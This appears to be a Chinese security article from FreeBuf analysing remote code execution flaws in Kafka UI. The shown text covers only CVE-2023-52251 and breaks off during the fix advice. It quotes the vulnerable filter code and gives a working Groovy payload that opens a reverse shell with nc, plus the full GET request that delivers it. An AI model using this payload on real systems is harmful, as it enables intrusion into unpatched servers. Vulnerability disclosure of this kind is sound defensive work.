Kafka UI三大RCE高危漏洞分析
本文由
创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载
1. 背景介绍
Kafka UI 是一款开源的 Web 应用,旨在管理和监控 Apache Kafka 集群,主要供开发者和管理员使用,提供了可视化的集群管理界面。但在默认配置中,Kafka UI 不需要身份验证即可读取和写入数据,导致许多 Kafka UI 实例在内部网络中未受保护,甚至直接暴露在互联网上。
尽管有些人可能认为暴露的 Kafka 数据并不敏感,但这种配置可能会为攻击者提供一个进入内部网络的“入口”。在安全研究中,我探索了利用 Kafka UI 的可能性,结果发现了 3 个远程代码执行(RCE)漏洞。
这些漏洞在 0.7.2 版本中已修复,如果你在使用 Kafka UI,请务必升级!
2. 漏洞一:CVE-2023-52251 - 通过 Groovy 脚本执行 RCE
漏洞描述
Kafka UI 允许用户在“消息过滤”功能中使用 Groovy 脚本。攻击者可以利用这一点,通过伪造的请求在服务器上执行任意的 Groovy 脚本,最终实现 远程代码执行 (RCE)。
漏洞详情
MessageFilters.java
代码中,GROOVY_SCRIPT
过滤类型会直接执行 Groovy 脚本:
public static Predicate createMsgFilter(String query, MessageFilterTypeDTO type) {switch (type) {case STRING_CONTAINS:return containsStringFilter(query);case GROOVY_SCRIPT:return groovyScriptFilter(query); // 存在漏洞点default:throw new IllegalStateException("Unknown query type: " + type);}}
利用方法
- 在 Kafka UI 中,前往集群页面,选择一个主题 (Topic),点击“消息 (Messages)”选项卡。
- 新建一个 Groovy 过滤器,输入以下脚本:
new ProcessBuilder("nc", "host.docker.internal", "1234", "-e", "sh").start()
这段代码会在目标服务器上运行反向 Shell,从而获得控制权。请求示例如下:
GET /api/clusters/local/topics/topic/messages?q=new%20ProcessBuilder(%22nc%22,%22host.docker.internal%22,%221234%22,%22-e%22,%22sh%22).start()&filterQueryType=GROOVY_SCRIPT
修复建议
- 升级到 0.7.2 版本,这会禁用对 Groovy 脚本的执行。
- 不要在生产
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
文章目录